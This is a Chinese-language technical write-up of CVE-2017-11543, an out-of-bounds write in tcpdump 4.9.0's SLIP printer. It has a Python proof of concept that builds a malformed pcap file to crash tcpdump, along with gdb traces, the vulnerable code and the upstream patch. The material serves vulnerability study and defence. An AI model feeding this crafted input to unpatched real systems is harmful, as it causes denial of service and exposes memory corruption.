返回介绍

7.1.1 CVE-2017-11543 tcpdump sliplink_print 栈溢出漏洞

发布于 2022-02-28 21:36:25 字数 32129 浏览 867 评论 0 收藏 0

下载文件

漏洞描述

tcpdump 是 Linux 上一个强大的网络数据采集分析工具,其 4.9.0 版本的 sliplink_print 函数(位于 print-sl.c)中存在一个栈溢出漏洞,原因是程序在进行内存存取的操作前未对一些值做判断,导致操作了非法的内存地址。攻击者可以利用这个漏洞触发拒绝服务,甚至任意代码执行。

这个漏洞是发现者用 AFL 做 fuzz 时发现的。

漏洞复现

推荐使用的环境备注
操作系统Ubuntu 16.04体系结构:32 位
调试器gdb-peda版本号:7.11.1
漏洞软件tcpdump版本号:4.9.0

为了编译 tcpdump,我们需要安装 dev 版本的 libpcap:

$ sudo apt-get install libpcap-dev
$ dpkg -l libpcap-dev
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend
|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)
||/ Name                Version        Architecture   Description
+++-===================-==============-==============-============================================
ii  libpcap-dev         1.7.4-2        all            development library for libpcap (transitiona

下载安装有漏洞的 tcpdump 4.9.0:

$ wget https://github.com/the-tcpdump-group/tcpdump/archive/tcpdump-4.9.0.tar.gz
$ tar zxvf tcpdump-4.9.0.tar.gz
$ cd tcpdump-tcpdump-4.9.0/
$ ./configure

执行 configure 会生成相应的 Makefile,然后 make install 就可以了,但是这里我们修改下 Makefile,给 gcc 加上参数 -fsanitize=address,以开启内存检测功能:

CFLAGS = -g -O2 -fsanitize=address

最后:

$ sudo make install
$ tcpdump --version
tcpdump version 4.9.0
libpcap version 1.7.4

使用下面的 poc 即可成功地触发漏洞产生 Segment Fault:

import os

def sigsegv():
    buf  = "\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    buf += "\x00\x00\x04\x00\x08\x00\x00\x00\xf6\xb5\xa5X\xf8\xbd\x07\x00'"
    buf += "\x00\x00\x006\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7"
    buf += "\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xca\x00"
    buf += "\x00RT\x00\x125\x02\x08\x00'\xbd\xc8.\x08\x00"

    with open("slip-bad-direction.pcap", "wb") as f:
        f.write(buf)
        f.close()

    cmd = 'tcpdump -e -r slip-bad-direction.pcap'
    os.system(cmd)

if __name__ == "__main__":
    sigsegv()
$ python poc.py
reading from file slip-bad-direction.pcap, link-type SLIP (SLIP)
ASAN:SIGSEGV
=================================================================
==11084==ERROR: AddressSanitizer: SEGV on unknown address 0x08425c5c (pc 0x0815f697 bp 0x00000027 sp 0xbfae3ab0 T0)
    #0 0x815f696 in compressed_sl_print print-sl.c:253
    #1 0x815f696 in sliplink_print print-sl.c:166
    #2 0x815f696 in sl_if_print print-sl.c:77
    #3 0x8060ecf in pretty_print_packet print.c:339
    #4 0x8055328 in print_packet tcpdump.c:2501
    #5 0xb7203467  (/usr/lib/i386-linux-gnu/libpcap.so.0.8+0x1c467)
    #6 0xb71f40e2 in pcap_loop (/usr/lib/i386-linux-gnu/libpcap.so.0.8+0xd0e2)
    #7 0x8051218 in main tcpdump.c:2004
    #8 0xb7049636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)
    #9 0x8054315  (/usr/local/sbin/tcpdump.4.9.0+0x8054315)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV print-sl.c:253 compressed_sl_print
==11084==ABORTING
$ file slip-bad-direction.pcap
slip-bad-direction.pcap: tcpdump capture file (little-endian) - version 2.4 (SLIP, capture length 262144)

漏洞分析

首先介绍一下 pcap 包的文件格式,文件头是这样一个结构体,总共 24 个字节:

struct pcap_file_header {
        bpf_u_int32 magic;
        u_short version_major;
        u_short version_minor;
        bpf_int32 thiszone;     /* gmt to local correction */
        bpf_u_int32 sigfigs;    /* accuracy of timestamps */
        bpf_u_int32 snaplen;    /* max length saved portion of each pkt */
        bpf_u_int32 linktype;   /* data link type (LINKTYPE_*) */
};
  • magic:标识位:4 字节,这个标识位的值是 16 进制的 0xa1b2c3d4
  • major:主版本号:2 字节,默认值为 0x2
  • minor:副版本号:2 字节,默认值为 0x04
  • thiszone:区域时间:4 字节,实际上并未使用,因此被设置为 0
  • sigfigs:精确时间戳:4 字节,实际上并未使用,因此被设置为 0
  • snaplen:数据包最大长度:4 字节,该值设置所抓获的数据包的最大长度
  • linktype:链路层类型:4 字节,数据包的链路层包头决定了链路层的类型

接下来是数据包头,总共 16 个字节:

struct pcap_pkthdr {
        struct timeval ts;      /* time stamp */
        bpf_u_int32 caplen;     /* length of portion present */
        bpf_u_int32 len;        /* length this packet (off wire) */
};
struct timeval {
        long            tv_sec;         /* seconds (XXX should be time_t) */
        suseconds_t     tv_usec;        /* and microseconds */
};
  • ts:时间戳:8 字节,4字节表示秒数,4字节表示微秒数
  • caplen:当前数据区长度:4 字节,表示所抓获的数据包保存在 pcap 文件中的实际长度
  • len:离线数据长度:4 字节,如果文件中保存的不是完整数据包,可能比 caplen 大

我们从 tcpdump 的测试集中找到这样一个测试用例,整个包是这样的:

$ xxd -g1 slip-bad-direction.pcap
00000000: d4 c3 b2 a1 02 00 04 00 00 00 00 00 00 00 00 00  ................
00000010: 00 00 04 00 08 00 00 00 f6 b5 a5 58 f8 bd 07 00  ...........X....
00000020: 27 00 00 00 36 e7 e7 e7 e7 e7 e7 e7 e7 e7 e7 e7  '...6...........
00000030: e7 e7 e7 e7 e7 e7 e7 e7 e7 e7 e7 e7 e7 e7 ca 00  ................
00000040: 00 52 54 00 12 35 02 08 00 27 bd c8 2e 08 00     .RT..5...'.....

所以其链路层类型为 08,即 SLIP(Serial Line Internet Protocol)。通常一个 SLIP 的包结构如下:

+-------------------------+
|        Direction        |
|        (1 Octet)        |
+-------------------------+
|       Packet type       |
|        (1 Octet)        |
+-------------------------+
| Compression information |
|       (14 Octets)       |
+-------------------------+
|         Payload         |
.                         .
.                         .
.                         .
  • direction 字段指示发送或接收
    • 0:表示本机接收的包
    • 1:表示本机发送的包

在这里 direction 是 0xe7,并且由于 packet type 被设置了,所以 payload 是一个压缩的 TCP/IP 包,它的 packet type 和 compression information 共同构成了压缩的 TCP/IP 数据报,其结构如下:

+-------------------------------+ Byte
|   | C | I | P | S | A | W | U | 0
+-------------------------------+
|       connection number       | 1
+-------------------------------+
|         TCP checksum          | 2-3
+-------------------------------+
|             data              | 3-16
.                               .
.                               .
.                               .

sliplink_print 函数处下断点:

gdb-peda$ b sliplink_print
gdb-peda$ r -e -r slip-bad-direction.pcap
Starting program: /usr/local/sbin/tcpdump.4.9.0 -e -r slip-bad-direction.pcap
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
reading from file slip-bad-direction.pcap, link-type SLIP (SLIP)

[----------------------------------registers-----------------------------------]
EAX: 0x1
EBX: 0xe7e7e736
ECX: 0x0
EDX: 0xbfffdb94 --> 0x1
ESI: 0xb65ba810 --> 0xe7e7e7e7
EDI: 0xbfffdb90 --> 0x0
EBP: 0x27 ("'")
ESP: 0xbfffd760 --> 0xe7e7e726
EIP: 0x815efc0 (<sl_if_print+304>:    mov    eax,DWORD PTR [esp+0x48])
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x815efbc <sl_if_print+300>:    pop    ebp
   0x815efbd <sl_if_print+301>:    ret
   0x815efbe <sl_if_print+302>:    xchg   ax,ax
=> 0x815efc0 <sl_if_print+304>:    mov    eax,DWORD PTR [esp+0x48]
   0x815efc4 <sl_if_print+308>:    mov    edx,DWORD PTR [esp+0x48]
   0x815efc8 <sl_if_print+312>:    shr    eax,0x3
   0x815efcb <sl_if_print+315>:    and    edx,0x7
   0x815efce <sl_if_print+318>:    movzx  eax,BYTE PTR [eax+0x20000000]
[------------------------------------stack-------------------------------------]
0000| 0xbfffd760 --> 0xe7e7e726
0004| 0xbfffd764 --> 0xb65ba800 --> 0xe7e7e7e7
0008| 0xbfffd768 --> 0x27 ("'")
0012| 0xbfffd76c --> 0xfbad2488
0016| 0xbfffd770 --> 0xb5803e68 --> 0x10
0020| 0xbfffd774 --> 0xb7ff0030 (<_dl_runtime_resolve+16>:    pop    edx)
0024| 0xbfffd778 --> 0xb795af4b (<__fread_chk+11>:    add    ebx,0xbc0b5)
0028| 0xbfffd77c --> 0x80e6a200
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, sl_if_print (ndo=0xbfffdb90, h=0xbfffd82c,
    p=0xb65ba800 '\347' <repeats 22 times>, <incomplete sequence \312>) at ./print-sl.c:77
77            sliplink_print(ndo, p, ip, length);
gdb-peda$ x/10x 0xb65ba800
0xb65ba800:    0xe7e7e7e7    0xe7e7e7e7    0xe7e7e7e7    0xe7e7e7e7
0xb65ba810:    0xe7e7e7e7    0x00cae7e7    0x00545200    0x08023512
0xb65ba820:    0xc8bd2700    0xbe00082e

参数 p=0xb65ba800 位置处存放着从 pcap 中解析出来的 data,总共 39 个字节。

然后语句 dir = p[SLX_DIR] 从 data 中取出第一个字节作为 dir,即 0xe7

[----------------------------------registers-----------------------------------]
EAX: 0xe7
EBX: 0xe7e7e736
ECX: 0x0
EDX: 0x0
ESI: 0xb65ba810 --> 0xe7e7e7e7
EDI: 0xbfffdb90 --> 0x0
EBP: 0x27 ("'")
ESP: 0xbfffd760 --> 0xe7e7e726
EIP: 0x815efe8 (<sl_if_print+344>:    mov    DWORD PTR [esp+0x4],eax)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x815efdb <sl_if_print+331>:    jne    0x815f3c6 <sl_if_print+1334>
   0x815efe1 <sl_if_print+337>:    mov    eax,DWORD PTR [esp+0x48]
   0x815efe5 <sl_if_print+341>:    movzx  eax,BYTE PTR [eax]
=> 0x815efe8 <sl_if_print+344>:    mov    DWORD PTR [esp+0x4],eax
   0x815efec <sl_if_print+348>:    lea    eax,[edi+0x74]
   0x815efef <sl_if_print+351>:    mov    ecx,eax
   0x815eff1 <sl_if_print+353>:    mov    DWORD PTR [esp+0x8],eax
   0x815eff5 <sl_if_print+357>:    shr    eax,0x3
[------------------------------------stack-------------------------------------]
0000| 0xbfffd760 --> 0xe7e7e726
0004| 0xbfffd764 --> 0xb65ba800 --> 0xe7e7e7e7
0008| 0xbfffd768 --> 0x27 ("'")
0012| 0xbfffd76c --> 0xfbad2488
0016| 0xbfffd770 --> 0xb5803e68 --> 0x10
0020| 0xbfffd774 --> 0xb7ff0030 (<_dl_runtime_resolve+16>:    pop    edx)
0024| 0xbfffd778 --> 0xb795af4b (<__fread_chk+11>:    add    ebx,0xbc0b5)
0028| 0xbfffd77c --> 0x80e6a200
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0815efe8    133        dir = p[SLX_DIR];

然后程序将 dir==0xe7SLIPDIR_IN==0 作比较,肯定不相等,于是错误地把 dir 当成 SLIPDIR_OUT==1 处理了:

[----------------------------------registers-----------------------------------]
EAX: 0x8237280 --> 0x204f ('O ')
EBX: 0xe7e7e736
ECX: 0xe7
EDX: 0x8237280 --> 0x204f ('O ')
ESI: 0xb65ba810 --> 0xe7e7e7e7
EDI: 0xbfffdb90 --> 0x0
EBP: 0x27 ("'")
ESP: 0xbfffd750 --> 0xbfffdb90 --> 0x0
EIP: 0x815f02b (<sl_if_print+411>:    call   DWORD PTR [edi+0x74])
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x815f026 <sl_if_print+406>:    sub    esp,0x8
   0x815f029 <sl_if_print+409>:    push   eax
   0x815f02a <sl_if_print+410>:    push   edi
=> 0x815f02b <sl_if_print+411>:    call   DWORD PTR [edi+0x74]
   0x815f02e <sl_if_print+414>:    lea    edx,[edi+0x10]
   0x815f031 <sl_if_print+417>:    add    esp,0x10
   0x815f034 <sl_if_print+420>:    mov    eax,edx
   0x815f036 <sl_if_print+422>:    shr    eax,0x3
Guessed arguments:
arg[0]: 0xbfffdb90 --> 0x0
arg[1]: 0x8237280 --> 0x204f ('O ')
[------------------------------------stack-------------------------------------]
0000| 0xbfffd750 --> 0xbfffdb90 --> 0x0
0004| 0xbfffd754 --> 0x8237280 --> 0x204f ('O ')
0008| 0xbfffd758 --> 0x0
0012| 0xbfffd75c --> 0x0
0016| 0xbfffd760 --> 0xe7e7e726
0020| 0xbfffd764 --> 0xe7
0024| 0xbfffd768 --> 0xbfffdc04 --> 0x8060b00 (<ndo_printf>:    mov    eax,0x8330fa4)
0028| 0xbfffd76c --> 0xfbad2488
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0815f02b    134        ND_PRINT((ndo, dir == SLIPDIR_IN ? "I " : "O "));

继续往下执行,终于在执行到语句 lastlen[dir][lastconn] = length - (hlen << 2); 的时候挂掉了,它访问了一个不合法的地址:

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xe7e7
EBX: 0xe7e7e6de
ECX: 0xbfffdc04 --> 0x8060b00 (<ndo_printf>:    mov    eax,0x8330fa4)
EDX: 0xe7
ESI: 0xb65ba810 --> 0xe7e7e7e7
EDI: 0xbfffdb90 --> 0x0
EBP: 0x27 ("'")
ESP: 0xbfffd760 --> 0xe7e7e726
EIP: 0x815f697 (<sl_if_print+2055>:    mov    DWORD PTR [eax*4+0x83ebcc0],ebx)
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)

[-------------------------------------code-------------------------------------]
   0x815f68e <sl_if_print+2046>:    mov    ebx,DWORD PTR [esp+0x14]
   0x815f692 <sl_if_print+2050>:    shl    eax,0x8
   0x815f695 <sl_if_print+2053>:    add    eax,edx
=> 0x815f697 <sl_if_print+2055>:    mov    DWORD PTR [eax*4+0x83ebcc0],ebx
   0x815f69e <sl_if_print+2062>:    mov    eax,ecx
   0x815f6a0 <sl_if_print+2064>:    shr    eax,0x3
   0x815f6a3 <sl_if_print+2067>:    movzx  edx,BYTE PTR [eax+0x20000000]
   0x815f6aa <sl_if_print+2074>:    mov    eax,ecx
[------------------------------------stack-------------------------------------]
0000| 0xbfffd760 --> 0xe7e7e726
0004| 0xbfffd764 --> 0xe7
0008| 0xbfffd768 --> 0xbfffdc04 --> 0x8060b00 (<ndo_printf>:    mov    eax,0x8330fa4)
0012| 0xbfffd76c --> 0xb65ba801 --> 0xe7e7e7e7
0016| 0xbfffd770 --> 0xb65ba809 --> 0xe7e7e7e7
0020| 0xbfffd774 --> 0xe7e7e6de
0024| 0xbfffd778 --> 0xb795af00 (<__realpath_chk>:    push   ebx)
0028| 0xbfffd77c --> 0x80e6a200
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0815f697 in compressed_sl_print (dir=0xe7, length=0xe7e7e726, ip=0xb65ba810,
    chdr=0xb65ba801 '\347' <repeats 21 times>, <incomplete sequence \312>, ndo=0xbfffdb90)
    at ./print-sl.c:253
253        lastlen[dir][lastconn] = length - (hlen << 2);
gdb-peda$ x/x $eax*4+0x83ebcc0
0x8425c5c:    Cannot access memory at address 0x8425c5c

说一下 compressed_sl_print 的参数:

  • dir=0xe7 是 direction
  • length=0xe7e7e726 是长度,由包头的 len 计算得到
  • ip=0xb65ba810 指向 data
  • chdr=0xb65ba801 指向压缩的 TCP/IP 头
  • ndo=0xbfffdb90 是其他一些选项

lastlen[dir][lastconn] = length - (hlen << 2); 语句中:

  • lastlen:被定义为 static u_int lastlen[2][256];
  • hlen 是未压缩的 TCP/IP 头的长度
  • length - hlen 是 data 的总数

于是这里传入的 dir==0xe7,超出了 lastlen 定义的范围,发生错误。

回溯一下栈调用情况:

gdb-peda$ bt
#0  0x0815f697 in compressed_sl_print (dir=0xe7, length=0xe7e7e726, ip=0xb65ba810,
    chdr=0xb65ba801 '\347' <repeats 21 times>, <incomplete sequence \312>, ndo=0xbfffdb90)
    at ./print-sl.c:253
#1  sliplink_print (length=0xe7e7e726, ip=0xb65ba810,
    p=0xb65ba800 '\347' <repeats 22 times>, <incomplete sequence \312>, ndo=0xbfffdb90) at ./print-sl.c:166
#2  sl_if_print (ndo=0xbfffdb90, h=0xbfffd82c,
    p=0xb65ba800 '\347' <repeats 22 times>, <incomplete sequence \312>) at ./print-sl.c:77
#3  0x08060ed0 in pretty_print_packet (ndo=0xbfffdb90, h=0xbfffd82c,
    sp=0xb65ba800 '\347' <repeats 22 times>, <incomplete sequence \312>, packets_captured=0x1)
    at ./print.c:339
#4  0x08055329 in print_packet (user=0xbfffdb90 "", h=0xbfffd82c,
    sp=0xb65ba800 '\347' <repeats 22 times>, <incomplete sequence \312>) at ./tcpdump.c:2501
#5  0xb7a37468 in ?? () from /usr/lib/i386-linux-gnu/libpcap.so.0.8
#6  0xb7a280e3 in pcap_loop () from /usr/lib/i386-linux-gnu/libpcap.so.0.8
#7  0x08051219 in main (argc=0x4, argv=0xbfffef74) at ./tcpdump.c:2004
#8  0xb787d637 in __libc_start_main (main=0x804f8f0 <main>, argc=0x4, argv=0xbfffef74,
    init=0x818a160 <__libc_csu_init>, fini=0x818a1c0 <__libc_csu_fini>, rtld_fini=0xb7fea8a0 <_dl_fini>,
    stack_end=0xbfffef6c) at ../csu/libc-start.c:291
#9  0x08054316 in _start ()

问题发生的原因是 sliplink_print 函数的 ND_PRINT((ndo, dir == SLIPDIR_IN ? "I " : "O ")); 没有考虑到 dir 既不是 0 也不是 1 的情况,错误地把它当做一个发送的数据包处理,然后调用了 compressed_sl_print 函数,导致非法内存地址访问。

漏洞程序代码如下:

#define SLX_DIR 0
#define SLX_CHDR 1
#define CHDR_LEN 15

#define SLIPDIR_IN 0
#define SLIPDIR_OUT 1

static u_int lastlen[2][256];

static void
sliplink_print(netdissect_options *ndo,
               register const u_char *p, register const struct ip *ip,
               register u_int length)
{
    int dir;
    u_int hlen;

    dir = p[SLX_DIR];
    ND_PRINT((ndo, dir == SLIPDIR_IN ? "I " : "O "));

    if (ndo->ndo_nflag) {
        /* XXX just dump the header */
        register int i;

        for (i = SLX_CHDR; i < SLX_CHDR + CHDR_LEN - 1; ++i)
            ND_PRINT((ndo, "%02x.", p[i]));
        ND_PRINT((ndo, "%02x: ", p[SLX_CHDR + CHDR_LEN - 1]));
        return;
    }
    switch (p[SLX_CHDR] & 0xf0) {

    case TYPE_IP:
        ND_PRINT((ndo, "ip %d: ", length + SLIP_HDRLEN));
        break;

    case TYPE_UNCOMPRESSED_TCP:
        /*
         * The connection id is stored in the IP protocol field.
         * Get it from the link layer since sl_uncompress_tcp()
         * has restored the IP header copy to IPPROTO_TCP.
         */
        lastconn = ((const struct ip *)&p[SLX_CHDR])->ip_p;
        hlen = IP_HL(ip);
        hlen += TH_OFF((const struct tcphdr *)&((const int *)ip)[hlen]);
        lastlen[dir][lastconn] = length - (hlen << 2);
        ND_PRINT((ndo, "utcp %d: ", lastconn));
        break;

    default:
        if (p[SLX_CHDR] & TYPE_COMPRESSED_TCP) {
            compressed_sl_print(ndo, &p[SLX_CHDR], ip,
                length, dir);
            ND_PRINT((ndo, ": "));
        } else
            ND_PRINT((ndo, "slip-%d!: ", p[SLX_CHDR]));
    }
}

static void
compressed_sl_print(netdissect_options *ndo,
                    const u_char *chdr, const struct ip *ip,
                    u_int length, int dir)
{
    register const u_char *cp = chdr;
    register u_int flags, hlen;

    flags = *cp++;
    if (flags & NEW_C) {
        lastconn = *cp++;
        ND_PRINT((ndo, "ctcp %d", lastconn));
    } else
        ND_PRINT((ndo, "ctcp *"));

    /* skip tcp checksum */
    cp += 2;

    switch (flags & SPECIALS_MASK) {
    case SPECIAL_I:
        ND_PRINT((ndo, " *SA+%d", lastlen[dir][lastconn]));
        break;

    case SPECIAL_D:
        ND_PRINT((ndo, " *S+%d", lastlen[dir][lastconn]));
        break;

    default:
        if (flags & NEW_U)
            cp = print_sl_change(ndo, "U=", cp);
        if (flags & NEW_W)
            cp = print_sl_winchange(ndo, cp);
        if (flags & NEW_A)
            cp = print_sl_change(ndo, "A+", cp);
        if (flags & NEW_S)
            cp = print_sl_change(ndo, "S+", cp);
        break;
    }
    if (flags & NEW_I)
        cp = print_sl_change(ndo, "I+", cp);

    /*
     * 'hlen' is the length of the uncompressed TCP/IP header (in words).
     * 'cp - chdr' is the length of the compressed header.
     * 'length - hlen' is the amount of data in the packet.
     */
    hlen = IP_HL(ip);
    hlen += TH_OFF((const struct tcphdr *)&((const int32_t *)ip)[hlen]);
    lastlen[dir][lastconn] = length - (hlen << 2);
    ND_PRINT((ndo, " %d (%ld)", lastlen[dir][lastconn], (long)(cp - chdr)));
}

漏洞修复

在最新的 tcpdump 中已经修复了该漏洞,当发现 direction 是错误的值时,直接返回:

$ tcpdump --version
tcpdump version 4.9.2
libpcap version 1.7.4
Compiled with AddressSanitizer/GCC.
$ tcpdump -e -r slip-bad-direction.pcap
reading from file slip-bad-direction.pcap, link-type SLIP (SLIP)
22:23:50.507384 Invalid direction 231 ip v14

具体代码的修改如下所示,文件 print-sl.c 用于打印 CSLIP(Compressed Serial Line Internet Protocol),即压缩的 SLIP:

$ git diff 09b1185 378ac56 print-sl.c
diff --git a/print-sl.c b/print-sl.c
index 3fd7e898..a02077b3 100644
--- a/print-sl.c
+++ b/print-sl.c
@@ -131,8 +131,21 @@ sliplink_print(netdissect_options *ndo,
        u_int hlen;

        dir = p[SLX_DIR];   // 在这个例子中 dir = 231 = 0xe7
-       ND_PRINT((ndo, dir == SLIPDIR_IN ? "I " : "O "));
+       switch (dir) {

+       case SLIPDIR_IN:
+               ND_PRINT((ndo, "I "));
+               break;
+
+       case SLIPDIR_OUT:
+               ND_PRINT((ndo, "O "));
+               break;
+
+       default:    // 当 dir 不能匹配时的默认操作,将其赋值为 -1
+               ND_PRINT((ndo, "Invalid direction %d ", dir));
+               dir = -1;
+               break;
+       }
        if (ndo->ndo_nflag) {
                /* XXX just dump the header */
                register int i;
@@ -155,13 +168,21 @@ sliplink_print(netdissect_options *ndo,
                 * has restored the IP header copy to IPPROTO_TCP.
                 */
                lastconn = ((const struct ip *)&p[SLX_CHDR])->ip_p;
+               ND_PRINT((ndo, "utcp %d: ", lastconn));
+               if (dir == -1) {    // 在存取操作前检查 dir 的值
+                       /* Direction is bogus, don't use it */
+                       return;
+               }
                hlen = IP_HL(ip);
                hlen += TH_OFF((const struct tcphdr *)&((const int *)ip)[hlen]);
                lastlen[dir][lastconn] = length - (hlen << 2);
-               ND_PRINT((ndo, "utcp %d: ", lastconn));
                break;

        default:
+               if (dir == -1) {    // 在存取操作前检查 dir 的值
+                       /* Direction is bogus, don't use it */
+                       return;
+               }
                if (p[SLX_CHDR] & TYPE_COMPRESSED_TCP) {
                        compressed_sl_print(ndo, &p[SLX_CHDR], ip,
                            length, dir);

commit:CVE-2017-11543/Make sure the SLIP direction octet is valid.

参考资料

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文